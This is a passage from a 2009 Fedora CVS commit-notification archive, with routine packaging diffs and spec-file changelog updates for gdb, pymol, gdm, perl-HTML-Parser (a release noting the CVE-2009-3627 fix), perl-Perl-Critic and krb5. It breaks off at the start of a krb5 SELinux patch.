  	  /* Not a tag we recognize.  Hopefully we aren't processing
  	     trash data, but since we must specifically ignore things
-@@ -8571,8 +9254,7 @@ new_symbol (struct die_info *die, struct type *type, struct dwarf2_cu *cu)
+@@ -8571,8 +9257,7 @@ new_symbol (struct die_info *die, struct type *type, struct dwarf2_cu *cu)
        /* For the benefit of old versions of GCC, check for anonymous
  	 namespaces based on the demangled name.  */
        if (!processing_has_namespace_info
@@ -6907,7 +6910,7 @@ index 4cce36b..c2f5f23 100644
  	cp_scan_for_anonymous_namespaces (sym);
      }
    return (sym);
-@@ -8823,12 +9505,18 @@ read_type_die (struct die_info *die, struct dwarf2_cu *cu)
+@@ -8823,12 +9508,18 @@ read_type_die (struct die_info *die, struct dwarf2_cu *cu)
      case DW_TAG_namespace:
        this_type = read_namespace_type (die, cu);
        break;
@@ -6926,7 +6929,7 @@ index 4cce36b..c2f5f23 100644
    return this_type;
  }
  
-@@ -8910,10 +9598,100 @@ determine_prefix (struct die_info *die, struct dwarf2_cu *cu)
+@@ -8910,10 +9601,100 @@ determine_prefix (struct die_info *die, struct dwarf2_cu *cu)
  	     So it does not need a prefix.  */
  	  return "";
        default:
@@ -7028,7 +7031,7 @@ index 4cce36b..c2f5f23 100644
  /* Return a newly-allocated string formed by concatenating PREFIX and
     SUFFIX with appropriate separator.  If PREFIX or SUFFIX is NULL or empty, then
     simply copy the SUFFIX or PREFIX, respectively.  If OBS is non-null,
-@@ -8963,17 +9741,111 @@ sibling_die (struct die_info *die)
+@@ -8963,17 +9744,111 @@ sibling_die (struct die_info *die)
    return die->sibling;
  }
  
@@ -7146,7 +7149,7 @@ index 4cce36b..c2f5f23 100644
  }
  
  /* Get name of a die, return NULL if not found.  */
-@@ -10200,11 +11072,11 @@ dwarf2_get_ref_die_offset (struct attribute *attr)
+@@ -10200,11 +11075,11 @@ dwarf2_get_ref_die_offset (struct attribute *attr)
    return 0;
  }
  
@@ -7161,7 +7164,7 @@ index 4cce36b..c2f5f23 100644
  {
    if (attr->form == DW_FORM_sdata)
      return DW_SND (attr);
-@@ -11009,8 +11881,6 @@ dwarf_decode_macros (struct line_header *lh, unsigned int offset,
+@@ -11009,8 +11884,6 @@ dwarf_decode_macros (struct line_header *lh, unsigned int offset,
  {
    gdb_byte *mac_ptr, *mac_end;
    struct macro_source_file *current_file = 0;
@@ -7170,7 +7173,7 @@ index 4cce36b..c2f5f23 100644
  
    if (dwarf2_per_objfile->macinfo.buffer == NULL)
      {
-@@ -11018,29 +11888,19 @@ dwarf_decode_macros (struct line_header *lh, unsigned int offset,
+@@ -11018,29 +11891,19 @@ dwarf_decode_macros (struct line_header *lh, unsigned int offset,
        return;
      }
  
@@ -7205,7 +7208,7 @@ index 4cce36b..c2f5f23 100644
          }
  
        macinfo_type = read_1_byte (abfd, mac_ptr);
-@@ -11051,92 +11911,7 @@ dwarf_decode_macros (struct line_header *lh, unsigned int offset,
+@@ -11051,92 +11914,7 @@ dwarf_decode_macros (struct line_header *lh, unsigned int offset,
            /* A zero macinfo type indicates the end of the macro
               information.  */
          case 0:
@@ -7299,7 +7302,7 @@ index 4cce36b..c2f5f23 100644
  
          case DW_MACINFO_define:
          case DW_MACINFO_undef:
-@@ -11151,31 +11926,19 @@ dwarf_decode_macros (struct line_header *lh, unsigned int offset,
+@@ -11151,31 +11929,19 @@ dwarf_decode_macros (struct line_header *lh, unsigned int offset,
              mac_ptr += bytes_read;
  
              if (! current_file)
@@ -7342,7 +7345,7 @@ index 4cce36b..c2f5f23 100644
            }
            break;
  
-@@ -11189,22 +11952,9 @@ dwarf_decode_macros (struct line_header *lh, unsigned int offset,
+@@ -11189,22 +11955,9 @@ dwarf_decode_macros (struct line_header *lh, unsigned int offset,
              file = read_unsigned_leb128 (abfd, mac_ptr, &bytes_read);
              mac_ptr += bytes_read;
  
@@ -7368,7 +7371,7 @@ index 4cce36b..c2f5f23 100644
            }
            break;
  
-@@ -11258,7 +12008,7 @@ dwarf_decode_macros (struct line_header *lh, unsigned int offset,
+@@ -11258,7 +12011,7 @@ dwarf_decode_macros (struct line_header *lh, unsigned int offset,
            }
            break;
          }
@@ -7377,7 +7380,7 @@ index 4cce36b..c2f5f23 100644
  }
  
  /* Check if the attribute's form is a DW_FORM_block*
-@@ -11318,6 +12068,34 @@ attr_form_is_constant (struct attribute *attr)
+@@ -11318,6 +12071,34 @@ attr_form_is_constant (struct attribute *attr)
      }
  }
  
@@ -7412,7 +7415,7 @@ index 4cce36b..c2f5f23 100644
  static void
  dwarf2_symbol_mark_computed (struct attribute *attr, struct symbol *sym,
  			     struct dwarf2_cu *cu)
-@@ -11347,35 +12125,25 @@ dwarf2_symbol_mark_computed (struct attribute *attr, struct symbol *sym,
+@@ -11347,35 +12128,25 @@ dwarf2_symbol_mark_computed (struct attribute *attr, struct symbol *sym,
        SYMBOL_COMPUTED_OPS (sym) = &dwarf2_loclist_funcs;
        SYMBOL_LOCATION_BATON (sym) = baton;
      }
@@ -7463,7 +7466,7 @@ index 4cce36b..c2f5f23 100644
      }
  }
  
-@@ -11663,6 +12431,31 @@ offset_and_type_eq (const void *item_lhs, const void *item_rhs)
+@@ -11663,6 +12434,31 @@ offset_and_type_eq (const void *item_lhs, const void *item_rhs)
    return ofs_lhs->offset == ofs_rhs->offset;
  }
  
@@ -7495,7 +7498,7 @@ index 4cce36b..c2f5f23 100644
  /* Set the type associated with DIE to TYPE.  Save it in CU's hash
     table if necessary.  For convenience, return TYPE.  */
  
-@@ -11671,6 +12464,8 @@ set_die_type (struct die_info *die, struct type *type, struct dwarf2_cu *cu)
+@@ -11671,6 +12467,8 @@ set_die_type (struct die_info *die, struct type *type, struct dwarf2_cu *cu)
  {
    struct dwarf2_offset_and_type **slot, ofs;
  
@@ -7504,7 +7507,7 @@ index 4cce36b..c2f5f23 100644
    if (cu->type_hash == NULL)
      {
        gdb_assert (cu->per_cu != NULL);
-@@ -11813,23 +12608,13 @@ show_dwarf2_cmd (char *args, int from_tty)
+@@ -11813,23 +12611,13 @@ show_dwarf2_cmd (char *args, int from_tty)
    cmd_show_list (show_dwarf2_cmdlist, from_tty, "");
  }
  
@@ -7532,7 +7535,7 @@ index 4cce36b..c2f5f23 100644
  }
  
  /* munmap debug sections for OBJFILE, if necessary.  */
-@@ -11838,15 +12623,15 @@ static void
+@@ -11838,15 +12626,15 @@ static void
  dwarf2_per_objfile_free (struct objfile *objfile, void *d)
  {
    struct dwarf2_per_objfile *data = d;
@@ -7557,7 +7560,7 @@ index 4cce36b..c2f5f23 100644
  }
  
  void _initialize_dwarf2_read (void);
-@@ -11854,6 +12639,7 @@ void _initialize_dwarf2_read (void);
+@@ -11854,6 +12642,7 @@ void _initialize_dwarf2_read (void);
  void
  _initialize_dwarf2_read (void)
  {


Index: gdb.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gdb/F-12/gdb.spec,v
retrieving revision 1.395
retrieving revision 1.396
diff -u -p -r1.395 -r1.396
--- gdb.spec	23 Oct 2009 18:29:19 -0000	1.395
+++ gdb.spec	23 Oct 2009 20:05:50 -0000	1.396
@@ -14,7 +14,7 @@ Version: 7.0
 
 # The release always contains a leading reserved number, start it at 1.
 # `upstream' is not a part of `name' to stay fully rpm dependencies compatible for the testing.
-Release: 4%{?_with_upstream:.upstream}%{?dist}
+Release: 5%{?_with_upstream:.upstream}%{?dist}
 
 License: GPLv3+
 Group: Development/Debuggers
@@ -56,7 +56,7 @@ Source3: gdb-gstack.man
 
 # libstdc++ pretty printers from GCC SVN HEAD (4.5 experimental).
 %define libstdcxxpython libstdc++-v3-python-r151798
-Source4: %{libstdcxxpython}.tar.xz
+Source4: %{libstdcxxpython}.tar.bz2
 
 # Work around out-of-date dejagnu that does not have KFAIL
 Patch1: gdb-6.3-rh-dummykfail-20041202.patch
@@ -449,7 +449,7 @@ This package provides a program that all
 %setup -q -n %{gdb_src}
 
 # libstdc++ pretty printers.
-xz -dc %{SOURCE4} | tar xf -
+tar xjf %{SOURCE4}
 
 # Files have `# <number> <file>' statements breaking VPATH / find-debuginfo.sh .
 rm -f gdb/ada-exp.c gdb/ada-lex.c gdb/c-exp.c gdb/cp-name-parser.c gdb/f-exp.c
@@ -642,7 +642,14 @@ CFLAGS="$CFLAGS -O0 -ggdb2"
 %else
 	--without-python				\
 %endif
+$(: Workaround rpm.org#76, BZ 508193 on recent OSes. )	\
+$(: RHEL-5 was the last not providing %{dist}. )	\
+$(: RHEL-5 librpm has incompatible API. )		\
+%if 0%{!?dist:1}
+	--without-rpm					\
+%else
 	--with-rpm=librpm.so.0				\
+%endif
 %ifarch ia64
 	--with-libunwind				\
 %else
@@ -865,6 +872,10 @@ fi
 %endif
 
 %changelog
+* Fri Oct 23 2009 Jan Kratochvil <jan.kratochvil at redhat.com> - 7.0-5
+- Make the package buildable on RHEL-5/CentOS-5 (without librpm there).
+- archer-jankratochvil-fedora12 commit: 5b73ea6a0f74e63db3b504792fc1d37f548bdf5c
+
 * Fri Oct 23 2009 Jan Kratochvil <jan.kratochvil at redhat.com> - 7.0-4
 - Fix rpm --excludedocs (BZ 515998).
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gdb/F-12/sources,v
retrieving revision 1.42
retrieving revision 1.43
diff -u -p -r1.42 -r1.43
--- sources	7 Oct 2009 19:17:19 -0000	1.42
+++ sources	23 Oct 2009 20:05:50 -0000	1.43
@@ -1,2 +1,2 @@
-1e3a26040dcdd3579d75967085eb92b9  libstdc++-v3-python-r151798.tar.xz
 3386a7b69c010785c920ffc1e9cb890a  gdb-7.0.tar.bz2
+7507540c50a1edeb2fc22a37bc4a08b8  libstdc++-v3-python-r151798.tar.bz2



From timfenn at fedoraproject.org  Fri Oct 23 20:13:22 2009
From: timfenn at fedoraproject.org (Timothy Fenn)
Date: Fri, 23 Oct 2009 20:13:22 +0000 (UTC)
Subject: rpms/pymol/F-12 .cvsignore, 1.7, 1.8 pymol.spec, 1.13, 1.14 sources,
	1.7, 1.8
Message-ID: <20091023201322.E2D2411C01EA@cvs1.fedora.phx.redhat.com>

Author: timfenn

Update of /cvs/pkgs/rpms/pymol/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20795

Modified Files:
	.cvsignore pymol.spec sources 
Log Message:
Oct 06 2009 Tim Fenn <fenn at stanford.edu> - 1.2-8.20091006svn3866
- update to SVN 3866, 1.2r2




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/pymol/F-12/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	10 Jul 2009 02:43:19 -0000	1.7
+++ .cvsignore	23 Oct 2009 20:13:22 -0000	1.8
@@ -1,2 +1,2 @@
-pymol-1.2-20090709svn3827.tar.gz
+pymol-1.2-20091006svn3866.tar.gz
 pymol-setup.py.patch


Index: pymol.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pymol/F-12/pymol.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- pymol.spec	26 Jul 2009 19:54:23 -0000	1.13
+++ pymol.spec	23 Oct 2009 20:13:22 -0000	1.14
@@ -3,15 +3,15 @@
 Summary: PyMOL Molecular Graphics System
 Name: pymol
 Version: 1.2
-Release: 7.20090709svn3827%{?dist}
+Release: 8.20091006svn3866%{?dist}
 License: MIT and BSD and ZPLv2.0 and Bitstream Vera and OFL
 Group: Applications/Engineering
 URL: http://www.pymol.org
 # The source for this package was pulled from upstream's vcs.  Use the
 # following commands to generate the tarball:
-#  svn co -r 3827 https://pymol.svn.sourceforge.net/svnroot/pymol/trunk/pymol pymol-1.2
-#  tar cvzf pymol-1.2-20090709svn3827.tar.gz pymol-1.2
-Source0: pymol-1.2-20090709svn3827.tar.gz
+#  svn co -r 3866 https://pymol.svn.sourceforge.net/svnroot/pymol/trunk/pymol pymol-1.2
+#  tar cvzf pymol-1.2-20091006svn3866.tar.gz pymol-1.2
+Source0: pymol-1.2-20091006svn3866.tar.gz
 # the source for this xpm pulled from:
 # https://launchpad.net/ubuntu/intrepid/+source/pymol/1.1~beta3-3/+files/pymol_1.1~beta3-3.diff.gz
 Source1: %{name}-32.xpm
@@ -107,6 +107,9 @@ rm -rf ${RPM_BUILD_ROOT}
 %{python_sitearch}/pmg_wx/
 
 %changelog
+* Tue Oct 06 2009 Tim Fenn <fenn at stanford.edu> - 1.2-8.20091006svn3866
+- update to SVN 3866, 1.2r2
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.2-7.20090709svn3827
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/pymol/F-12/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	10 Jul 2009 02:43:19 -0000	1.7
+++ sources	23 Oct 2009 20:13:22 -0000	1.8
@@ -1,2 +1,2 @@
-c320a86be41098dec93acd6a17ff637b  pymol-1.2-20090709svn3827.tar.gz
+2b912c7d3f28df5d65f3b0afa4b8b08c  pymol-1.2-20091006svn3866.tar.gz
 5d4c9a9de18416892f303f5c202f3198  pymol-setup.py.patch



From rstrode at fedoraproject.org  Fri Oct 23 20:22:23 2009
From: rstrode at fedoraproject.org (Ray Strode)
Date: Fri, 23 Oct 2009 20:22:23 +0000 (UTC)
Subject: rpms/gdm/F-12 gdm-system-keyboard.patch, 1.5, 1.6 gdm.spec, 1.500,
	1.501
Message-ID: <20091023202223.61BA411C01EA@cvs1.fedora.phx.redhat.com>

Author: rstrode

Update of /cvs/pkgs/rpms/gdm/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25641

Modified Files:
	gdm-system-keyboard.patch gdm.spec 
Log Message:
- Properly read default keyboard layout (bug 530452)


gdm-system-keyboard.patch:
 configure.ac                |    1 
 daemon/gdm-session-direct.c |   81 ++++++++++++++++++++++++++++++++++++++++++--
 2 files changed, 79 insertions(+), 3 deletions(-)

Index: gdm-system-keyboard.patch
===================================================================
RCS file: /cvs/pkgs/rpms/gdm/F-12/gdm-system-keyboard.patch,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- gdm-system-keyboard.patch	1 Oct 2009 14:20:57 -0000	1.5
+++ gdm-system-keyboard.patch	23 Oct 2009 20:22:22 -0000	1.6
@@ -80,7 +80,7 @@ diff -Nur -x '*.orig' -x '*~' gdm-2.28.0
 +                                                        NULL);
 +        }
 +
-+	if (variant) {
++	if (variant != NULL && variant[0] != '\0') {
 +	    result = g_strdup_printf("%s\t%s", layout, variant);
 +	    libhal_free_string (variant);
 +	} else {


Index: gdm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gdm/F-12/gdm.spec,v
retrieving revision 1.500
retrieving revision 1.501
diff -u -p -r1.500 -r1.501
--- gdm.spec	23 Oct 2009 16:55:46 -0000	1.500
+++ gdm.spec	23 Oct 2009 20:22:23 -0000	1.501
@@ -16,7 +16,7 @@
 Summary: The GNOME Display Manager
 Name: gdm
 Version: 2.28.1
-Release: 5%{?dist}
+Release: 6%{?dist}
 Epoch: 1
 License: GPLv2+
 Group: User Interface/X
@@ -405,6 +405,9 @@ fi
 %{_libdir}/gdm/simple-greeter/plugins/fingerprint.so
 
 %changelog
+* Fri Oct 23 2009 Ray Strode <rstrode at redhat.com> 2.28.1-6
+- Properly read default keyboard layout (bug 530452)
+
 * Fri Oct 23 2009 Ray Strode <rstrode at redhat.com> 2.28.1-5
 - Remove tool tip from login button
 



From wtogami at fedoraproject.org  Fri Oct 23 20:22:49 2009
From: wtogami at fedoraproject.org (=?utf-8?b?V2FycmVuIFRvZ2FtaSDnoKXkuIrli4c=?=)
Date: Fri, 23 Oct 2009 20:22:49 +0000 (UTC)
Subject: rpms/perl-HTML-Parser/devel perl-HTML-Parser.spec,1.38,1.39
Message-ID: <20091023202249.488C611C01EA@cvs1.fedora.phx.redhat.com>

Author: wtogami

Update of /cvs/pkgs/rpms/perl-HTML-Parser/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25794

Modified Files:
	perl-HTML-Parser.spec 
Log Message:
3.63 CVE-2009-3627



Index: perl-HTML-Parser.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-HTML-Parser/devel/perl-HTML-Parser.spec,v
retrieving revision 1.38
retrieving revision 1.39
diff -u -p -r1.38 -r1.39
--- perl-HTML-Parser.spec	23 Oct 2009 14:12:18 -0000	1.38
+++ perl-HTML-Parser.spec	23 Oct 2009 20:22:49 -0000	1.39
@@ -2,7 +2,7 @@
 
 Name:           perl-%{real_name}
 Version:        3.63
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Perl module for parsing HTML
 
 Group:          Development/Libraries
@@ -64,8 +64,8 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
-* Fri Oct 23 2009 Warren Togami <wtogami at redhat.com> - 3.63-1
-- 3.63 fixes crasher
+* Fri Oct 23 2009 Warren Togami <wtogami at redhat.com> - 3.63-2
+- 3.63 CVE-2009-3627
 
 * Thu Sep 17 2009 Warren Togami <wtogami at redhat.com> - 3.62-1
 - 3.62



From wtogami at fedoraproject.org  Fri Oct 23 20:23:35 2009
From: wtogami at fedoraproject.org (=?utf-8?b?V2FycmVuIFRvZ2FtaSDnoKXkuIrli4c=?=)
Date: Fri, 23 Oct 2009 20:23:35 +0000 (UTC)
Subject: rpms/perl-HTML-Parser/F-12 perl-HTML-Parser.spec,1.38,1.39
Message-ID: <20091023202335.C9C0211C01EA@cvs1.fedora.phx.redhat.com>

Author: wtogami

Update of /cvs/pkgs/rpms/perl-HTML-Parser/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26094

Modified Files:
	perl-HTML-Parser.spec 
Log Message:
3.63 CVE-2009-3627



Index: perl-HTML-Parser.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-HTML-Parser/F-12/perl-HTML-Parser.spec,v
retrieving revision 1.38
retrieving revision 1.39
diff -u -p -r1.38 -r1.39
--- perl-HTML-Parser.spec	23 Oct 2009 14:13:51 -0000	1.38
+++ perl-HTML-Parser.spec	23 Oct 2009 20:23:35 -0000	1.39
@@ -2,7 +2,7 @@
 
 Name:           perl-%{real_name}
 Version:        3.63
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Perl module for parsing HTML
 
 Group:          Development/Libraries
@@ -64,8 +64,8 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
-* Fri Oct 23 2009 Warren Togami <wtogami at redhat.com> - 3.63-1
-- 3.63 fixes crasher
+* Fri Oct 23 2009 Warren Togami <wtogami at redhat.com> - 3.63-2
+- 3.63 CVE-2009-3627
 
 * Thu Sep 17 2009 Warren Togami <wtogami at redhat.com> - 3.62-1
 - 3.62



From wtogami at fedoraproject.org  Fri Oct 23 20:27:36 2009
From: wtogami at fedoraproject.org (=?utf-8?b?V2FycmVuIFRvZ2FtaSDnoKXkuIrli4c=?=)
Date: Fri, 23 Oct 2009 20:27:36 +0000 (UTC)
Subject: rpms/perl-HTML-Parser/F-11 .cvsignore, 1.13,
	1.14 perl-HTML-Parser.spec, 1.35, 1.36 sources, 1.15, 1.16
Message-ID: <20091023202736.B084911C01EA@cvs1.fedora.phx.redhat.com>

Author: wtogami

Update of /cvs/pkgs/rpms/perl-HTML-Parser/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27683

Modified Files:
	.cvsignore perl-HTML-Parser.spec sources 
Log Message:
3.63 CVE-2009-3627



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-HTML-Parser/F-11/.cvsignore,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- .cvsignore	16 Dec 2008 09:42:13 -0000	1.13
+++ .cvsignore	23 Oct 2009 20:27:36 -0000	1.14
@@ -1 +1 @@
-HTML-Parser-3.59.tar.gz
+HTML-Parser-3.63.tar.gz


Index: perl-HTML-Parser.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-HTML-Parser/F-11/perl-HTML-Parser.spec,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- perl-HTML-Parser.spec	9 Jun 2009 05:58:43 -0000	1.35
+++ perl-HTML-Parser.spec	23 Oct 2009 20:27:36 -0000	1.36
@@ -1,8 +1,8 @@
 %define real_name HTML-Parser
 
 Name:           perl-%{real_name}
-Version:        3.60
-Release:        1%{?dist}
+Version:        3.63
+Release:        2%{?dist}
 Summary:        Perl module for parsing HTML
 
 Group:          Development/Libraries
@@ -64,6 +64,15 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 23 2009 Warren Togami <wtogami at redhat.com> - 3.63-2
+- 3.63 CVE-2009-3627
+
+* Thu Sep 17 2009 Warren Togami <wtogami at redhat.com> - 3.62-1
+- 3.62
+
+* Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.60-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Mon Jun 08 2009 Chris Weyl <cweyl at alumni.drew.edu> - 3.60-1
 - update to latest for mojomojo
 - filter bad provides (Parser.so)


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-HTML-Parser/F-11/sources,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- sources	9 Jun 2009 05:58:43 -0000	1.15
+++ sources	23 Oct 2009 20:27:36 -0000	1.16
@@ -1 +1 @@
-fb97ea7e5bd832b079d8660732f9d8d9  HTML-Parser-3.60.tar.gz
+64d1d54411ea71f89c3bab23bfd14abc  HTML-Parser-3.63.tar.gz



From timfenn at fedoraproject.org  Fri Oct 23 20:29:20 2009
From: timfenn at fedoraproject.org (Timothy Fenn)
Date: Fri, 23 Oct 2009 20:29:20 +0000 (UTC)
Subject: rpms/pymol/F-12 pymol.spec,1.14,1.15
Message-ID: <20091023202920.37A5F11C01EA@cvs1.fedora.phx.redhat.com>

Author: timfenn

Update of /cvs/pkgs/rpms/pymol/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28806

Modified Files:
	pymol.spec 
Log Message:
* Fri Oct 23 2009 Tim Fenn <fenn at stanford.edu> - 1.2-9.20091006svn3866
- rebuild for F12




Index: pymol.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pymol/F-12/pymol.spec,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- pymol.spec	23 Oct 2009 20:13:22 -0000	1.14
+++ pymol.spec	23 Oct 2009 20:29:20 -0000	1.15
@@ -3,7 +3,7 @@
 Summary: PyMOL Molecular Graphics System
 Name: pymol
 Version: 1.2
-Release: 8.20091006svn3866%{?dist}
+Release: 9.20091006svn3866%{?dist}
 License: MIT and BSD and ZPLv2.0 and Bitstream Vera and OFL
 Group: Applications/Engineering
 URL: http://www.pymol.org
@@ -107,6 +107,9 @@ rm -rf ${RPM_BUILD_ROOT}
 %{python_sitearch}/pmg_wx/
 
 %changelog
+* Fri Oct 23 2009 Tim Fenn <fenn at stanford.edu> - 1.2-9.20091006svn3866
+- rebuild for F12
+
 * Tue Oct 06 2009 Tim Fenn <fenn at stanford.edu> - 1.2-8.20091006svn3866
 - update to SVN 3866, 1.2r2
 



From mjakubicek at fedoraproject.org  Fri Oct 23 20:29:40 2009
From: mjakubicek at fedoraproject.org (=?utf-8?b?TWlsb8WhIEpha3Viw63EjWVr?=)
Date: Fri, 23 Oct 2009 20:29:40 +0000 (UTC)
Subject: rpms/perl-Perl-Critic/F-12 perl-Perl-Critic.spec, 1.21, 1.22 sources,
	1.12, 1.13
Message-ID: <20091023202940.D25CE11C01EA@cvs1.fedora.phx.redhat.com>

Author: mjakubicek

Update of /cvs/pkgs/rpms/perl-Perl-Critic/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28764

Modified Files:
	perl-Perl-Critic.spec sources 
Log Message:
- Fix FTBFS: sync from devel/ branch because of incorrect sources file (didn't match version)




Index: perl-Perl-Critic.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Perl-Critic/F-12/perl-Perl-Critic.spec,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- perl-Perl-Critic.spec	26 Jul 2009 16:11:04 -0000	1.21
+++ perl-Perl-Critic.spec	23 Oct 2009 20:29:40 -0000	1.22
@@ -1,6 +1,6 @@
 Name:           perl-Perl-Critic
-Version:        1.098
-Release:        3%{?dist}
+Version:        1.105
+Release:        1%{?dist}
 Summary:        Critique Perl source code for best-practices
 
 Group:          Development/Libraries
@@ -18,18 +18,19 @@ BuildRequires:  perl(File::HomeDir)
 BuildRequires:  perl(IO::String)
 BuildRequires:  perl(List::MoreUtils)
 BuildRequires:  perl(Module::Pluggable) >= 3.1
-BuildRequires:  perl(PPI) >= 1.203
+BuildRequires:  perl(PPI) >= 1.205
 BuildRequires:  perl(String::Format) >= 1.13
 BuildRequires:  perl(Perl::Tidy)
 BuildRequires:  perl(Test::Memory::Cycle)
 BuildRequires:  perl(Readonly) >= 1.03
 BuildRequires:  perl(Exception::Class) >= 1.23
+BuildRequires:  perl(Email::Address)
 # BuildRequires:  perl(Regexp::Parser)
 BuildRequires:  perl(Test::Deep)
 # Author tests
-#BuildRequires:  perl(Test::Perl::Critic)
-#BuildRequires:  perl(Test::Kwalitee)
-BuildRequires:  aspell
+BuildRequires:  perl(Test::Perl::Critic)
+BuildRequires:  perl(Test::Kwalitee)
+BuildRequires:  aspell-en
 BuildRequires:  perl(File::Which)
 BuildRequires:  perl(Test::Spelling)
 BuildRequires:  perl(Test::Pod)
@@ -44,9 +45,7 @@ BuildRequires:  perl(Scalar::Util)
 BuildRequires:  perl(File::Temp)
 BuildRequires:  perl(Pod::Usage)
 BuildRequires:  perl(File::Find)
-BuildRequires:  perl(PPI::Token::Whitespace) >= 1.203
 BuildRequires:  perl(charnames)
-BuildRequires:  perl(PPI::Document::File) >= 1.203
 BuildRequires:  perl(File::Spec::Unix)
 BuildRequires:  perl(List::Util)
 BuildRequires:  perl(lib)
@@ -58,14 +57,11 @@ BuildRequires:  perl(base)
 BuildRequires:  perl(version)
 BuildRequires:  perl(Carp)
 BuildRequires:  perl(warnings)
-BuildRequires:  perl(PPI::Document) >= 1.203
 BuildRequires:  perl(File::Basename)
-BuildRequires:  perl(PPI::Token::Quote::Single) >= 1.203
 BuildRequires:  perl(File::Spec)
 BuildRequires:  perl(File::Path)
 BuildRequires:  perl(Pod::PlainText)
 BuildRequires:  perl(Pod::Select)
-BuildRequires:  perl(PPI::Node) >= 1.203
 BuildRequires:  perl(English)
 
 # don't "provide" private Perl libs
@@ -123,6 +119,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct  7 2009 Stepan Kasal <skasal at redhat.com> - 1.105-1
+- new upstream version
+- update build requires
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.098-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Perl-Critic/F-12/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	9 Sep 2008 23:16:43 -0000	1.12
+++ sources	23 Oct 2009 20:29:40 -0000	1.13
@@ -1 +1 @@
-ead8f91253864525e0a022a1ef903c64  Perl-Critic-1.092.tar.gz
+25915a2e00784a7e3b94d6ffaaf20b22  Perl-Critic-1.105.tar.gz



From nalin at fedoraproject.org  Fri Oct 23 20:29:54 2009
From: nalin at fedoraproject.org (Nalin Dahyabhai)
Date: Fri, 23 Oct 2009 20:29:54 +0000 (UTC)
Subject: rpms/krb5/devel krb5-1.7-selinux-label.patch, 1.5, 1.6 krb5.spec,
	1.213, 1.214
Message-ID: <20091023202954.28EC311C01EA@cvs1.fedora.phx.redhat.com>

Author: nalin

Update of /cvs/extras/rpms/krb5/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29049

Modified Files:
	krb5-1.7-selinux-label.patch krb5.spec 
Log Message:
add some conditional logic to simplify building on older Fedora releases

krb5-1.7-selinux-label.patch:
 aclocal.m4                                      |   51 +++
 appl/bsd/configure.in                           |    1 
 appl/gssftp/configure.in                        |    1 
 appl/telnet/configure.in                        |    1 
 config/pre.in                                   |    3 
 configure.in                                    |    2 
 include/autoconf.h.in                           |   13 
 include/k5-int.h                                |    1 
 include/k5-label.h                              |   27 ++
 include/krb5/krb5.hin                           |    6 
 kadmin/dbutil/dump.c                            |    2 
 krb5-config.in                                  |    3 
 lib/kadm5/logger.c                              |    4 
 lib/krb5/keytab/kt_file.c                       |    4 
 plugins/kdb/db2/adb_openclose.c                 |    2 
 plugins/kdb/db2/kdb_db2.c                       |    4 
 plugins/kdb/db2/libdb2/btree/bt_open.c          |    3 
 plugins/kdb/db2/libdb2/hash/hash.c              |    3 
 plugins/kdb/db2/libdb2/recno/rec_open.c         |    3 
 plugins/kdb/db2/libdb2/test/Makefile.in         |    3 
 plugins/kdb/ldap/ldap_util/kdb5_ldap_services.c |   12 
 slave/kpropd.c                                  |    2 
 util/profile/prof_file.c                        |    3 
 util/support/Makefile.in                        |    3 
 util/support/selinux.c                          |  314 ++++++++++++++++++++++++
 25 files changed, 448 insertions(+), 23 deletions(-)

Index: krb5-1.7-selinux-label.patch
===================================================================
RCS file: /cvs/extras/rpms/krb5/devel/krb5-1.7-selinux-label.patch,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
